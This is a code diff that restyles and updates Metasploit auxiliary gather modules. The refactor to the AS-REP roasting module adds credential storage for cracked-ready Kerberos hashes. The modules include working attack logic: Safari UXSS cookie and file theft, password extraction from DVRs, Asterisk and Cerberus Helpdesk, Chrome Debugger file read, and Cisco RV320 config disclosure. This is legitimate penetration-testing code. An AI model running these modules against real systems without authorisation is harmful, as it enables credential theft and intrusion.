req| - on_request_uri(cli, req) - }, + on_request_uri(cli, req) + }, 'Path' => resource_uri }.update(opts['Uri'] || {}) @@ -117,10 +122,10 @@ def start_http(opts={}) # # Lookup the right address for the client # - def lookup_lhost(c=nil) + def lookup_lhost(c = nil) # Get the source address if datastore['SRVHOST'] == '0.0.0.0' - Rex::Socket.source_address( c || '50.50.50.50') + Rex::Socket.source_address(c || '50.50.50.50') else datastore['SRVHOST'] end @@ -162,7 +167,6 @@ def cleanup end end - # # Ensures that gzip can be used. If not, an exception is generated. The # exception is only raised if the DisableGzip advanced option has not been @@ -174,19 +178,17 @@ def use_zlib end end - # # Returns the configured (or random, if not configured) URI path # def resource_uri return @uri_path if @uri_path - @uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8)) + @uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8 + rand(8)) @uri_path = '/' + @uri_path if @uri_path !~ /^\// @uri_path end - # # Handle HTTP requests and responses # @@ -228,7 +230,7 @@ def on_request_uri(cli, request) # # Create an HTTP response and then send it # - def send_response(cli, code, message='OK', html='') + def send_response(cli, code, message = 'OK', html = '') proto = Rex::Proto::Http::DefaultProtocol res = Rex::Proto::Http::Response.new(code, message, proto) res['Content-Type'] = 'text/html' diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index ccd4b6b78f7d0..fff1f23508e9e 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -12,28 +12,36 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Mac OS X Safari .webarchive File Format UXSS', - 'Description' => %q{ - Generates a .webarchive file for Mac OS X Safari that will attempt to - inject cross-domain Javascript (UXSS), silently install a browser - extension, collect user information, steal the cookie database, - and steal arbitrary local files. + super( + update_info( + info, + 'Name' => 'Mac OS X Safari .webarchive File Format UXSS', + 'Description' => %q{ + Generates a .webarchive file for Mac OS X Safari that will attempt to + inject cross-domain Javascript (UXSS), silently install a browser + extension, collect user information, steal the cookie database, + and steal arbitrary local files. - When opened on the target machine the webarchive file must not have the - quarantine attribute set, as this forces the webarchive to execute in a - sandbox. - }, - 'License' => MSF_LICENSE, - 'Author' => 'joev', - 'References' => - [ + When opened on the target machine the webarchive file must not have the + quarantine attribute set, as this forces the webarchive to execute in a + sandbox. + }, + 'License' => MSF_LICENSE, + 'Author' => 'joev', + 'References' => [ ['URL', 'https://www.rapid7.com/blog/post/2013/04/25/abusing-safaris-webarchive-file-format/'] ], - 'DisclosureDate' => '2013-02-22', - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], - 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer')) + 'DisclosureDate' => '2013-02-22', + 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def run @@ -71,7 +79,7 @@ def on_request_uri(cli, request) # @return [String] filename where we are storing the data def record_data(data, cli) if data.is_a? Hash - file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'') + file = File.basename(data.keys.first).gsub(/[^A-Za-z]/, '') end store_loot( file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data" @@ -100,5 +108,4 @@ def popup_js end end - end diff --git a/modules/auxiliary/gather/asrep.rb b/modules/auxiliary/gather/asrep.rb index 4774c0b9e7b04..796fbb74d7a39 100644 --- a/modules/auxiliary/gather/asrep.rb +++ b/modules/auxiliary/gather/asrep.rb @@ -58,11 +58,6 @@ def initialize(info = {}) OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]), ] ) - - default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml') - loaded_queries = safe_load_queries(default_config_file_path) || [] - asrep_roast_query = loaded_queries.select { |entry| entry['action'] == 'ENUM_USER_ASREP_ROASTABLE' } - self.ldap_query = asrep_roast_query[0] end def run @@ -72,18 +67,26 @@ def run when 'LDAP' run_ldap end + rescue Errno::ECONNRESET + fail_with(Failure::Disconnected, 'The connection was reset.') + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Failure::NoAccess, e.message) + rescue Net::LDAP::Error => e + fail_with(Failure::Unknown, "#{e.class}: #{e.message}") end def run_brute result_count = 0 user_file = datastore['USER_FILE'] - username = datastore['USERNAME'] + username = datastore['LDAPUsername'] if user_file.blank? && username.blank? fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing') end if username.present? begin - roast(datastore['USERNAME']) + roast(datastore['LDAPUsername']) result_count += 1 rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e # User either not present, or requires preauth @@ -111,37 +114,12 @@ def run_brute end def run_ldap - fail_with(Msf::Module::Failure::BadConfig, 'Must provide a username for connecting to LDAP') if datastore['USERNAME'].blank? - - ldap_connect do |ldap| - validate_bind_success!(ldap) - unless (base_dn = ldap.base_dn) - fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") - end - - schema_dn = ldap.schema_dn - filter_string = ldap_query['filter'] - attributes = ldap_query['attributes'] + run_builtin_ldap_query('ENUM_USER_ASREP_ROASTABLE') do |result| + username = result.samaccountname[0] begin - filter = Net::LDAP::Filter.construct(filter_string) - rescue StandardError => e - fail_with(Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}") - end - - print_line - result_count = perform_ldap_query_streaming(ldap, filter, attributes, base_dn, schema_dn) do |result, _attribute_properties| - username = result.samaccountname[0] - begin - roast(username) - rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e - print_error("#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})") - end - end - if result_count == 0 - print_error("No entries could be found for #{filter_string}!") - else - print_line - print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.") + roast(username) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + print_error("#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})") end end end @@ -150,13 +128,41 @@ def roast(username) res = send_request_tgt( server_name: "krbtgt/#{datastore['domain']}", client_name: username, - realm: datastore['DOMAIN'], + realm: datastore['LDAPDomain'], offered_etypes: etypes, rport: 88, rhost: datastore['RHOST'] ) hash = format_as_rep_to_john_hash(res.as_rep) print_line(hash) + jtr_format = Metasploit::Framework::Hashes.identify_hash(hash) + report_hash(hash, jtr_format) + end + + def report_hash(hash, jtr_format) + service_data = { + address: rhost, + port: rport, + service_name: 'Kerberos', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + module_fullname: fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: jtr_format + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) end def etypes diff --git a/modules/auxiliary/gather/asterisk_creds.rb b/modules/auxiliary/gather/asterisk_creds.rb index f6e67aeb58e8e..4e23b75d7a3db 100644 --- a/modules/auxiliary/gather/asterisk_creds.rb +++ b/modules/auxiliary/gather/asterisk_creds.rb @@ -8,21 +8,29 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Asterisk Gather Credentials', - 'Description' => %q{ - This module retrieves SIP and IAX2 user extensions and credentials from - Asterisk Call Manager service. Valid manager credentials are required. - }, - 'Author' => 'bcoles', - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Asterisk Gather Credentials', + 'Description' => %q{ + This module retrieves SIP and IAX2 user extensions and credentials from + Asterisk Call Manager service. Valid manager credentials are required. + }, + 'Author' => 'bcoles', + 'References' => [ ['URL', 'http://www.asterisk.name/sip1.html'], ['URL', 'http://www.asterisk.name/iax2.html'], ['URL', 'https://www.voip-info.org/wiki/view/Asterisk+manager+API'], ['URL', 'https://www.voip-info.org/wiki-Asterisk+CLI'] ], - 'License' => MSF_LICENSE)) + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options [ Opt::RPORT(5038), OptString.new('USERNAME', [true, 'The username for Asterisk Call Manager', 'admin']), @@ -59,17 +67,19 @@ def run print_status "Found #{@users.length} users" - cred_table = Rex::Text::Table.new 'Header' => 'Asterisk User Credentials', - 'Indent' => 1, + cred_table = Rex::Text::Table.new 'Header' => 'Asterisk User Credentials', + 'Indent' => 1, 'Columns' => ['Username', 'Secret', 'Type'] @users.each do |user| - cred_table << [ user['username'], - user['password'], - user['type'] ] - report_cred user: user['username'], + cred_table << [ + user['username'], + user['password'], + user['type'] + ] + report_cred user: user['username'], password: user['password'], - proof: "#{user['type']} show users" + proof: "#{user['type']} show users" end print_line @@ -100,25 +110,25 @@ def password def report_cred(opts) service_data = { - address: rhost, - port: rport, + address: rhost, + port: rport, service_name: 'asterisk_manager', - protocol: 'tcp', + protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { - origin_type: :service, + origin_type: :service, module_fullname: fullname, - username: opts[:user], - private_data: opts[:password], - private_type: :password + username: opts[:user], + private_data: opts[:password], + private_type: :password }.merge service_data login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, - proof: opts[:proof] + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] }.merge service_data create_credential_login login_data @@ -152,14 +162,14 @@ def login return false unless res =~ /Response: Success/ - report_cred user: username, + report_cred user: username, password: password, - proof: 'Response: Success' + proof: 'Response: Success' - report_service :host => rhost, - :port => rport, + report_service :host => rhost, + :port => rport, :proto => 'tcp', - :name => 'asterisk' + :name => 'asterisk' true end diff --git a/modules/auxiliary/gather/avtech744_dvr_accounts.rb b/modules/auxiliary/gather/avtech744_dvr_accounts.rb index 7b8d37d2d6832..85234d7bad807 100644 --- a/modules/auxiliary/gather/avtech744_dvr_accounts.rb +++ b/modules/auxiliary/gather/avtech744_dvr_accounts.rb @@ -8,21 +8,28 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'AVTECH 744 DVR Account Information Retrieval', - 'Description' => %q{ - This module will extract the account information from the AVTECH 744 DVR devices, - including usernames, cleartext passwords, and the device PIN, along with - a few other miscellaneous details. In order to extract the information, hardcoded - credentials admin/admin are used. These credentials can't be changed from the device - console UI nor from the web UI. - }, - 'Author' => [ 'nstarke' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'AVTECH 744 DVR Account Information Retrieval', + 'Description' => %q{ + This module will extract the account information from the AVTECH 744 DVR devices, + including usernames, cleartext passwords, and the device PIN, along with + a few other miscellaneous details. In order to extract the information, hardcoded + credentials admin/admin are used. These credentials can't be changed from the device + console UI nor from the web UI. + }, + 'Author' => [ 'nstarke' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end - def run res = send_request_cgi({ 'method' => 'POST', diff --git a/modules/auxiliary/gather/billquick_txtid_sqli.rb b/modules/auxiliary/gather/billquick_txtid_sqli.rb index b79e04deb1fd3..fb26a9817266a 100644 --- a/modules/auxiliary/gather/billquick_txtid_sqli.rb +++ b/modules/auxiliary/gather/billquick_txtid_sqli.rb @@ -144,7 +144,7 @@ def run # all inject strings taken from sqlmap runs, using error page method database = sqli.current_database print_good("Current Database: #{database}") - report_note(host: rhost, port: rport, type: 'database', data: database) + report_note(host: rhost, port: rport, type: 'database', data: { database: database }) banner = sqli.version.gsub('\n', "\n").gsub('\t', "\t") print_good("Banner: #{banner}") diff --git a/modules/auxiliary/gather/browser_info.rb b/modules/auxiliary/gather/browser_info.rb index f3f73ae5e641b..d0e6840c9ffaf 100644 --- a/modules/auxiliary/gather/browser_info.rb +++ b/modules/auxiliary/gather/browser_info.rb @@ -6,28 +6,35 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::BrowserExploitServer - def initialize(info={}) - super(update_info(info, - 'Name' => "HTTP Client Information Gather", - 'Description' => %q{ - This module gathers information about a browser that exploits might be interested in, such - as OS name, browser version, plugins, etc. By default, the module will return a fake 404, - but you can customize this output by changing the Custom404 datastore option, and - redirect to an external web page. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r' ], - 'DisclosureDate' => '2016-03-22', - 'Actions' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "HTTP Client Information Gather", + 'Description' => %q{ + This module gathers information about a browser that exploits might be interested in, such + as OS name, browser version, plugins, etc. By default, the module will return a fake 404, + but you can customize this output by changing the Custom404 datastore option, and + redirect to an external web page. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'DisclosureDate' => '2016-03-22', + 'Actions' => [ [ 'WebServer', - 'Description' => 'A web server that collects information about the browser.' + 'Description' => 'A web server that collects information about the browser.' ] ], - 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer' - )) + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def is_key_wanted?(key) diff --git a/modules/auxiliary/gather/browser_lanipleak.rb b/modules/auxiliary/gather/browser_lanipleak.rb index df3c63c121c1f..fd6e75180bb7f 100644 --- a/modules/auxiliary/gather/browser_lanipleak.rb +++ b/modules/auxiliary/gather/browser_lanipleak.rb @@ -10,25 +10,30 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'HTTP Client LAN IP Address Gather', - 'Description' => %q( + 'Name' => 'HTTP Client LAN IP Address Gather', + 'Description' => %q{ This module retrieves a browser's network interface IP addresses using WebRTC. - ), - 'License' => MSF_LICENSE, - 'Author' => [ + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Daniel Roesler', # JS Code 'Dhiraj Mishra' # MSF Module - ], - 'References' => [ - [ 'CVE', '2018-6849' ], - [ 'URL', 'http://net.ipcalf.com/' ], - [ 'URL', 'https://www.inputzero.io/p/private-ip-leakage-using-webrtc.html' ] - ], + ], + 'References' => [ + [ 'CVE', '2018-6849' ], + [ 'URL', 'http://net.ipcalf.com/' ], + [ 'URL', 'https://www.inputzero.io/p/private-ip-leakage-using-webrtc.html' ] + ], 'DisclosureDate' => '2013-09-05', - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], + 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer' + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } ) ) end @@ -38,94 +43,94 @@ def run end def setup - # code from: https://github.com/diafygi/webrtc-ips - @html = <<-JS - - JS + # code from: https://github.com/diafygi/webrtc-ips + @html = <<~JS + + JS end def on_request_uri(cli, request) diff --git a/modules/auxiliary/gather/c2s_dvr_password_disclosure.rb b/modules/auxiliary/gather/c2s_dvr_password_disclosure.rb index 2e01cac38c24d..6719243aa1c22 100644 --- a/modules/auxiliary/gather/c2s_dvr_password_disclosure.rb +++ b/modules/auxiliary/gather/c2s_dvr_password_disclosure.rb @@ -10,19 +10,18 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'C2S DVR Management Password Disclosure', - 'Description' => %q{ + 'Name' => 'C2S DVR Management Password Disclosure', + 'Description' => %q{ C2S DVR allows an unauthenticated user to disclose the username & password by requesting the javascript page 'read.cgi?page=2'. This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S. }, - 'References' => [['EDB', '40265']], - 'Author' => - [ - 'Yakir Wizman', # discovery - 'h00die', # module - ], - 'License' => MSF_LICENSE, + 'References' => [['EDB', '40265']], + 'Author' => [ + 'Yakir Wizman', # discovery + 'h00die', # module + ], + 'License' => MSF_LICENSE, 'DisclosureDate' => 'Aug 19 2016' ) @@ -36,8 +35,8 @@ def run_host(rhost) url = normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'read.cgi') vprint_status("Attempting to load data from #{url}?page=2") res = send_request_cgi({ - 'uri' => url, - 'vars_get' => {'page'=>'2'} + 'uri' => url, + 'vars_get' => { 'page' => '2' } }) unless res print_error("#{peer} Unable to connect to #{url}") @@ -52,8 +51,8 @@ def run_host(rhost) if res.body =~ /pw_adminpw = "(.+?)";/ print_good("Found: admin:#{$1}") store_valid_credential( - user: 'admin', - private: $1, + user: 'admin', + private: $1, private_type: :password ) end @@ -61,8 +60,8 @@ def run_host(rhost) if res.body =~ /pw_userpw = "(.+?)";/ print_good("Found: user:#{$1}") store_valid_credential( - user: 'user', - private: $1, + user: 'user', + private: $1, private_type: :password ) end diff --git a/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb b/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb index d7be8a46f455f..2a5538cc5ec81 100644 --- a/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb +++ b/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb @@ -10,29 +10,28 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Cerberus Helpdesk User Hash Disclosure', - 'Description' => %q{ + 'Name' => 'Cerberus Helpdesk User Hash Disclosure', + 'Description' => %q{ This module extracts usernames and password hashes from the Cerberus Helpdesk through an unauthenticated access to a workers file. Verified on Version 4.2.3 Stable (Build 925) and 5.4.4 }, - 'References' => - [ - [ 'EDB', '39526' ] - ], - 'Author' => - [ - 'asdizzle_', # discovery - 'h00die', # module - ], - 'License' => MSF_LICENSE, + 'References' => [ + [ 'EDB', '39526' ] + ], + 'Author' => [ + 'asdizzle_', # discovery + 'h00die', # module + ], + 'License' => MSF_LICENSE, 'DisclosureDate' => 'Mar 7 2016' ) register_options( [ OptString.new('TARGETURI', [false, 'URL of the Cerberus Helpdesk root', '/']) - ]) + ] + ) end def run_host(rhost) @@ -40,7 +39,7 @@ def run_host(rhost) ['devblocks', 'zend'].each do |site| url = normalize_uri(datastore['TARGETURI'], 'storage', 'tmp', "#{site}_cache---ch_workers") vprint_status("Attempting to load data from #{url}") - res = send_request_cgi({'uri' => url}) + res = send_request_cgi({ 'uri' => url }) if !res print_error("#{peer} Unable to connect to #{url}") next @@ -51,8 +50,8 @@ def run_host(rhost) next end - cred_table = Rex::Text::Table.new 'Header' => 'Cerberus Helpdesk User Credentials', - 'Indent' => 1, + cred_table = Rex::Text::Table.new 'Header' => 'Cerberus Helpdesk User Credentials', + 'Indent' => 1, 'Columns' => ['Username', 'Password Hash'] # the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing. @@ -66,8 +65,8 @@ def run_host(rhost) password_hash = cred[7].tr('";', '') # remove extra characters print_good("Found: #{username}:#{password_hash}") store_valid_credential( - user: username, - private: password_hash, + user: username, + private: password_hash, private_type: :nonreplayable_hash ) cred_table << [username, password_hash] @@ -77,7 +76,6 @@ def run_host(rhost) print_line cred_table.to_s break end - rescue ::Rex::ConnectionError print_error("#{peer} Unable to connect to site") return diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index e74930981ec2a..37563b5560297 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -8,33 +8,41 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure', - 'Description' => %q{ - This module sends a query to the port 264/TCP on CheckPoint Firewall-1 - firewalls to obtain the firewall name and management station - (such as SmartCenter) name via a pre-authentication request. The string - returned is the CheckPoint Internal CA CN for SmartCenter and the firewall - host. Whilst considered "public" information, the majority of installations - use detailed hostnames which may aid an attacker in focusing on compromising - the SmartCenter host, or useful for government, intelligence and military - networks where the hostname reveals the physical location and rack number - of the device, which may be unintentionally published to the world. - }, - 'Author' => [ 'aushack' ], - 'DisclosureDate' => '2011-12-14', # Looks like this module is first real reference - 'References' => - [ + super( + update_info( + info, + 'Name' => 'CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure', + 'Description' => %q{ + This module sends a query to the port 264/TCP on CheckPoint Firewall-1 + firewalls to obtain the firewall name and management station + (such as SmartCenter) name via a pre-authentication request. The string + returned is the CheckPoint Internal CA CN for SmartCenter and the firewall + host. Whilst considered "public" information, the majority of installations + use detailed hostnames which may aid an attacker in focusing on compromising + the SmartCenter host, or useful for government, intelligence and military + networks where the hostname reveals the physical location and rack number + of the device, which may be unintentionally published to the world. + }, + 'Author' => [ 'aushack' ], + 'DisclosureDate' => '2011-12-14', # Looks like this module is first real reference + 'References' => [ # aushack - None? Stumbled across, probably an old bug/feature but unsure. [ 'URL', 'https://web.archive.org/web/20120508142715/http://www.osisecurity.com.au/advisories/checkpoint-firewall-securemote-hostname-information-disclosure' ], [ 'URL', 'https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360' ] - ] - )) + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(264), - ]) + ] + ) end def autofilter @@ -65,15 +73,16 @@ def run print_error("Unexpected response: '#{res.inspect}'") end - report_info(fw_hostname,sc_hostname) + report_info(fw_hostname, sc_hostname) disconnect end # Only trust that it's real if we have a hostname. If you get a funny # response, it might not be what we think it is. - def report_info(fw_hostname,sc_hostname) + def report_info(fw_hostname, sc_hostname) return unless fw_hostname + host_info = { :host => datastore['RHOST'], :os_name => "Checkpoint Firewall-1", diff --git a/modules/auxiliary/gather/chrome_debugger.rb b/modules/auxiliary/gather/chrome_debugger.rb index e3e78733c5431..49c998f071ece 100644 --- a/modules/auxiliary/gather/chrome_debugger.rb +++ b/modules/auxiliary/gather/chrome_debugger.rb @@ -10,20 +10,28 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request', - 'Description' => %q{ - This module uses the Chrome Debugger's API to read - files off the remote file system, or to make web requests - from a remote machine. Useful for cloud metadata endpoints! - }, - 'Author' => [ - 'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module - 'Nicholas Starke (The King Pig Demon)' # msf module - ], - 'DisclosureDate' => '2019-09-24', - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request', + 'Description' => %q{ + This module uses the Chrome Debugger's API to read + files off the remote file system, or to make web requests + from a remote machine. Useful for cloud metadata endpoints! + }, + 'Author' => [ + 'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module + 'Nicholas Starke (The King Pig Demon)' # msf module + ], + 'DisclosureDate' => '2019-09-24', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ @@ -86,7 +94,7 @@ def run 'id' => id, 'method' => 'Page.navigate', 'params' => { - url: fetch_uri + url: fetch_uri } }.to_json) end diff --git a/modules/auxiliary/gather/cisco_rv320_config.rb b/modules/auxiliary/gather/cisco_rv320_config.rb index e2d9c77486f19..20c4f6efc2606 100644 --- a/modules/auxiliary/gather/cisco_rv320_config.rb +++ b/modules/auxiliary/gather/cisco_rv320_config.rb @@ -7,9 +7,11 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Cisco RV320/RV326 Configuration Disclosure', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Cisco RV320/RV326 Configuration Disclosure', + 'Description' => %q{ A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN routers could allow an unauthenticated, remote attacker to retrieve sensitive information. The vulnerability is due @@ -19,14 +21,12 @@ def initialize(info = {}) download the router configuration or detailed diagnostic information. Cisco has released firmware updates that address this vulnerability. }, - 'Author' => - [ + 'Author' => [ 'RedTeam Pentesting GmbH ', 'Aaron Soto ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['EDB', '46262'], ['BID', '106732'], ['CVE', '2019-1653'], @@ -34,18 +34,24 @@ def initialize(info = {}) ['URL', 'https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg42801'], ['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20110330-acs.html'] ], - 'DisclosureDate' => '2019-01-24', - 'DefaultOptions' => - { - 'SSL' => true + 'DisclosureDate' => '2019-01-24', + 'DefaultOptions' => { + 'SSL' => true + }, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS } - )) + ) + ) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Path to the device configuration file', '/cgi-bin/config.exp']), - ]) + ] + ) end def report_cred(user, hash) @@ -100,8 +106,8 @@ def run begin uri = normalize_uri(target_uri.path) res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', + 'uri' => uri, + 'method' => 'GET', }, 60) rescue OpenSSL::SSL::SSLError fail_with(Failure::UnexpectedReply, 'SSL handshake failed. Consider setting SSL to false and trying again.') @@ -116,8 +122,8 @@ def run body = res.body if body.match(/####sysconfig####/) parse_config(body) - else body.include?"meta http-equiv=refresh content='0; url=/default.htm'" - fail_with(Failure::NotVulnerable, 'Response suggests device is patched') + else body.include? "meta http-equiv=refresh content='0; url=/default.htm'" + fail_with(Failure::NotVulnerable, 'Response suggests device is patched') end end end diff --git a/modules/auxiliary/gather/citrix_published_applications.rb b/modules/auxiliary/gather/citrix_published_applications.rb index 6146c7eb4abc7..467d10d2e9fa6 100644 --- a/modules/auxiliary/gather/citrix_published_applications.rb +++ b/modules/auxiliary/gather/citrix_published_applications.rb @@ -7,23 +7,31 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp def initialize(info = {}) - super(update_info(info, - 'Name' => 'Citrix MetaFrame ICA Published Applications Scanner', - 'Description' => %q{ - This module attempts to query Citrix Metaframe ICA server to obtain - a published list of applications. - }, - 'Author' => [ 'aushack' ], - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Citrix MetaFrame ICA Published Applications Scanner', + 'Description' => %q{ + This module attempts to query Citrix Metaframe ICA server to obtain + a published list of applications. + }, + 'Author' => [ 'aushack' ], + 'References' => [ [ 'URL', 'http://www.securiteam.com/exploits/5CP0B1F80S.html' ], - ] - )) + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(1604), - ]) + ] + ) end def autofilter @@ -46,7 +54,7 @@ def run udp_sock.put(client_connect) res = udp_sock.get(3) - if (res[0,server_response.length] == server_response) + if (res[0, server_response.length] == server_response) print_status("Citrix MetaFrame ICA server detected. Requesting Published Applications list...") find_published = @@ -62,7 +70,7 @@ def run res = udp_sock.get(3) if (res.index(server_list_pre) == 0) # good packet, with following data - print_status("Citrix Applications Reported:\r\n" + res[server_list_pre.length,res.length].gsub("\x00","\r\n")) + print_status("Citrix Applications Reported:\r\n" + res[server_list_pre.length, res.length].gsub("\x00", "\r\n")) end else print_error("Citrix did not report any Published Applications. Try the brute force module instead.") diff --git a/modules/auxiliary/gather/citrix_published_bruteforce.rb b/modules/auxiliary/gather/citrix_published_bruteforce.rb index d40f550b2295b..2eea364b6bac2 100644 --- a/modules/auxiliary/gather/citrix_published_bruteforce.rb +++ b/modules/auxiliary/gather/citrix_published_bruteforce.rb @@ -7,24 +7,32 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp def initialize(info = {}) - super(update_info(info, - 'Name' => 'Citrix MetaFrame ICA Published Applications Bruteforcer', - 'Description' => %q{ - This module attempts to brute force program names within the Citrix - Metaframe ICA server. - }, - 'Author' => [ 'aushack' ], - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Citrix MetaFrame ICA Published Applications Bruteforcer', + 'Description' => %q{ + This module attempts to brute force program names within the Citrix + Metaframe ICA server. + }, + 'Author' => [ 'aushack' ], + 'References' => [ [ 'OSVDB', '50617' ], [ 'BID', '5817' ] - ] - )) + ], + 'Notes' => { + 'Reliability' => 